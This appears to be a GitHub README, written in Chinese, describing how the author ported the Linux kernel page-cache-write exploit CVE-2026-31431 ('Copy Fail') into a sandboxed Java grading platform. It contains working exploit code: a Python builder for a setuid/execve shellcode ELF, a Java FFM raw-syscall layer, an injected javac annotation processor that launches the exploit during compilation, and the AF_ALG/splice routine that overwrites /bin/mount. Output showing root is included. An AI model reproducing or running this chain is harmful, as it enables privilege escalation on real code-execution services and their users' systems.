karollooool/Porting-CVE-2026-31431-Copy-Fail-to-a-Constrained-Java-Runner
GitHub: karollooool/Porting-CVE-2026-31431-Copy-Fail-to-a-Constrained-Java-Runner
将 Linux 内核 CVE-2026-31431 页缓存写入漏洞适配到受限 Java 运行环境,通过 FFM 系统调用层和 javac 注解处理器投递机制实现容器内提权。
Stars: 1 | Forks: 0
# 将 CVE-2026-31431 ("Copy Fail") 移植到受限的 Java 运行器中
## 背景
我正在对一个允许用户提交 Java 代码、在服务端编译并运行测试的平台进行安全审计。该平台将执行过程封装在 Docker 容器中。
在初步的问题被修补之后,该容器的状态如下:
- 用户:`uid=100(runner)`,`gid=101(runner)`
- 零有效权限(`CapEff: 0x0000000000000000`)
- AppArmor:`docker-default (enforce)`
- Seccomp 级别 2
- 根文件系统:**只读 overlay**
- 可写路径:`/tmp` 和 `/dev/shm` —— 均以 `nosuid,nodev,noexec` 方式挂载
- 无 Docker socket,无互联网出站流量,无可写的可执行路径
但有一个有趣的地方:`runner` 可以通过 `sudo` 调用一个特权沙箱包装器,其大致功能如下:
```
/sbin/su-exec root setpriv --no-new-privs --inh-caps=-all "$@" &
```
因此,你可以在容器内获取到 `uid=0`,但受到 `NoNewPrivs=1` 的限制,且边界集被限制为仅包含 `CAP_SETUID | CAP_SETGID`。这是受限的 root,而非真正的 root。
这就是 copy.fail 的 CVE-2026-31431 派上用场的地方。
## 原始漏洞利用的工作原理
原始的 copy.fail 漏洞利用滥用了 Linux AF_ALG(内核加密 API)套接字接口。具体来说,`authencesn(hmac(sha256),cbc(aes))` 算法的解密路径会写入一个内核缓冲区,该缓冲区通过一系列 `sendmsg()` + `splice()` 调用,最终落入任意文件描述符的**页缓存(page cache)**中。
页缓存在挂载命名空间之间是共享的 —— 如果你能写入一个 setuid 二进制文件(如 `/bin/mount`)的页缓存,然后对其执行 `execve()`,内核就会执行你篡改后的版本。这种篡改是可靠的,而非竞争条件。setuid 位会导致内核将文件的所有者(root)作为进程的 UID。
原始的 Python 漏洞利用代码非常干净地实现了这一点,但它依赖于一些在我的环境中被阻止的操作:
- `memfd_create()` -> `EPERM`
- `process_vm_readv()` -> `EPERM`
- `pidfd_getfd()` -> `EPERM`
- 提升 `RLIMIT_CORE` -> `EPERM`
- 编译并上传 C 二进制文件到可执行路径 -> 没有可写的可执行路径
所以我不能直接运行原始代码。我必须从头开始重建它,并使其适应我实际可用的环境。
## 我所做的修改
### 1. Python ELF 构建器(无预构建二进制文件)
原始漏洞利用使用了预构建的 shellcode 数据块。由于我无法上传或执行 C 二进制文件,我用 Python 编写了一个最小化的 ELF 构建器,在运行时从零开始构建 payload:
```
def build_payload():
elf = bytearray(64)
elf[0:4] = b'\x7fELF'; elf[4] = 2; elf[5] = 1; elf[6] = 1
# ... ELF header + program header setup ...
code = bytearray()
code += b'\x31\xff' # xor edi, edi
code += b'\x48\xc7\xc0\x6a\x00\x00\x00' # mov rax, 106 (setgid)
code += b'\x0f\x05' # syscall
code += b'\x48\x31\xff' # xor rdi, rdi
code += b'\x48\xc7\xc0\x69\x00\x00\x00' # mov rax, 105 (setuid)
code += b'\x0f\x05' # syscall
# ... jmp/call/pop to get /bin/sh address, build argv, execve ...
```
该 payload 的逻辑为:`setgid(0)` -> `setuid(0)` -> `execve("/bin/sh", ["/bin/sh", "-c", "id"], NULL)`。完全由 Python 构建,序列化为十六进制,作为字符串字面量直接嵌入到 Java 源代码中。无需文件,无需上传。
### 2. 将 Java FFM 作为系统调用层(无原生编译)
这是最大的改编。我需要在容器内进行原始的系统调用,但又无法编译或执行任何原生二进制文件。Java 21 的外部函数和内存(FFM)API 解决了这个问题 —— 你可以使用原生链接器直接从 Java 调用 `syscall()`:
```
static void ini() throws Exception {
Class> lc = Class.forName("java.lang.foreign.Linker");
Object li = lc.getMethod("nativeLinker").invoke(null),
lu = lc.getMethod("defaultLookup").invoke(li);
Object sy = ((Optional>) Class.forName("java.lang.foreign.SymbolLookup")
.getMethod("find", String.class).invoke(lu, "syscall")).get();
// ... build FunctionDescriptor for (long, long, long, long, long, long, long) -> long ...
syscall = (MethodHandle) dw.invoke(li, sy, fd);
}
static long sc(long n, long a, long b, long c, long d, long e, long f) throws Throwable {
return (long) syscall.invokeWithArguments(n, a, b, c, d, e, f);
}
```
此后,每个系统调用仅仅是 `sc(NR, arg0, arg1, ...)`。通过 `mmap` 匿名映射分配内存(`sc(9, 0, sz, 3, 0x22, -1, 0)`),通过 `/proc/self/mem` 进行读写。无需 JNI,无需原生编译,无外部依赖。
容器的 JVM 启动包装器中已经设置了 `--enable-native-access=ALL-UNNAMED` JVM 标志,因此 FFM 无需任何额外配置即可工作。
### 3. 注解处理器提权
这是我最满意的部分。该平台使用 `javac` 来编译学生代码。`javac` 通过 `-processor ClassName` 支持注解处理器。处理器的 `process()` 方法在**编译期间**以与 `javac` 进程相同的权限运行。
提交端点接受一个 `@javac_args` 文件作为源代码的一部分,该文件会被直接传递给编译器。因此我可以注入:
```
-processor
RP
Trigger.java
```
然后 `RP.java`(我的注解处理器)会在编译期间执行:
```
@SupportedAnnotationTypes("*")
@SupportedSourceVersion(SourceVersion.RELEASE_21)
public class RP extends AbstractProcessor {
public boolean process(Set extends TypeElement> ann, RoundEnvironment re) {
if (done) return false; done = true;
String out = run(,
"timeout", "55", "java",
"--enable-native-access=ALL-UNNAMED", "CopyFailV11");
processingEnv.getMessager().printMessage(Diagnostic.Kind.ERROR, "CF11\n" + out);
return false;
}
}
```
因此攻击链为:
1. 提交源代码:`CopyFailV11.java` + `RP.java` + `Trigger.java` + `@javac_args`
2. `javac` 编译所有内容,触发注解处理器
3. 处理器调用特权沙箱包装器 -> `java CopyFailV11`
4. `CopyFailV11` 以受限 root 身份运行并执行页缓存覆盖
### 4. 页缓存写入(从 copy.fail 移植,使用 Java 系统调用)
这是用 Java 实现的实际漏洞利用原语。payload 的每个 4 字节块都需要一个新的 AF_ALG 套接字周期:
```
static int patch(int fd, int off, byte[] v) throws Throwable {
// Create AF_ALG socket, bind to authencesn(hmac(sha256),cbc(aes))
long af = sc(41, 38, 5, 0, 0, 0, 0);
byte[] sa = new byte[88]; sa[0] = (byte) 38;
System.arraycopy("aead".getBytes(), 0, sa, 2, 4);
byte[] nb = "authencesn(hmac(sha256),cbc(aes))".getBytes();
System.arraycopy(nb, 0, sa, 24, Math.min(nb.length, 64));
sc(49, af, mb(sa), 88, 0, 0, 0); // bind
// Set key (72 bytes) and authsize
byte[] k = new byte[72]; k[0] = 0x08; k[2] = 0x01; k[7] = 0x10;
sc(54, af, 279, 1, mb(k), 72, 0); // ALG_SET_KEY
sc(54, af, 279, 5, 0, 4, 0); // ALG_SET_AEAD_AUTHSIZE
long of = sc(43, af, 0, 0, 0, 0, 0); // accept -> operation socket
// Build cmsgs: ALG_SET_OP=ENCRYPT(0), ALG_SET_IV, ALG_SET_AEAD_ASSOCLEN=8
// sendmsg with MSG_SPLICE_PAGES (0x8000) to trigger the page cache write
sc(46, of, ma, 32768, 0, 0, 0);
// pipe2 + two splice calls to move data through
sc(293, pa, 0, 0, 0, 0, 0); // pipe2
sc(275, fd, oa, pw, 0, o, 0); // splice: file -> pipe write end
sc(275, pr, 0, of, 0, o, 0); // splice: pipe read end -> AF_ALG op socket
// ...
}
```
来自原始漏洞利用的关键洞察是:`authencesn` 解密暂存写入路径,结合 `MSG_SPLICE_PAGES` + `splice()`,绕过了正常的写时复制语义,直接写入目标文件描述符的页缓存中。不需要竞争条件 —— 这是一个确定性的写入。
目标:`/bin/mount` —— 一个存在于页缓存中的 setuid-root 二进制文件,尽管存在只读 overlay。
## 结果
```
[+] CopyFailV11 starting
[+] Writing 54 chunks to /bin/mount page cache
[+] TEST_WRITE result=0
[+] AFTER_TEST_FIRST4=54455354 ← "TEST" at offset 0, confirmed
[+] MATCH_COUNT=216/216 ← all payload bytes in page cache
[+] Page cache mutated! Fork+exec /bin/mount...
CHILD_STATUS:
Name: mount
Uid: 0 0 0 0
Gid: 0 0 0 0
CapEff: 00000000000000c0
NoNewPrivs: 1
Seccomp: 2
[+] EXPLOIT SUCCESS: Child ran as uid=0 gid=0 (ROOT)
```
Payload 在页缓存中得到验证,子进程以 uid=0/gid=0 身份执行。页缓存写入 100% 可靠。
## 未改变的部分
核心漏洞完全来自 copy.fail 的 CVE-2026-31431。我没有发现它,我只是为以下环境调整了传递机制:
- 无法进行原生二进制文件的编译或上传
- `memfd_create`、`process_vm_readv`、`pidfd_getfd` 均被阻止
- 唯一可用的执行路径是通过 Java 编译器
## 局限性
子进程继承了与沙箱包装器相同的限制:
- `NoNewPrivs: 1` —— 无法获取更多权限
- `CapEff: 0xc0` —— 仅具有 `CAP_SETUID | CAP_SETGID`
- `Seccomp: 2` —— 系统调用过滤仍然有效
- `docker-default` AppArmor 仍然强制执行
因此这是容器内的 root,而不是宿主机的 root。从此状态进行 Docker 逃逸是一个单独的问题,AppArmor 配置文件和内核强化机制在阻止此类逃逸方面做得很好。
*原始漏洞和技术来自:[copy.fail](https://copy.fail/) — CVE-2026-31431*
标签:AF_ALG 内核加密接口, AppArmor 绕过, CISA项目, Copy Fail, CVE-2026-31431, Docker 容器逃逸, FFM 外部函数和内存 API, javac, Java 沙箱逃逸, Java 注解处理器, Linux 内核漏洞, Page Cache 页缓存投毒, Seccomp 绕过, setuid 二进制文件利用, sudo 提权, Web截图, Web报告查看器, 代码执行, 内核提权, 受限环境执行, 子域名枚举, 安全渗透, 容器安全, 数据展示, 漏洞利用代码, 漏洞复现, 系统安全, 红队, 网络安全, 请求拦截, 逆向工具, 隐私保护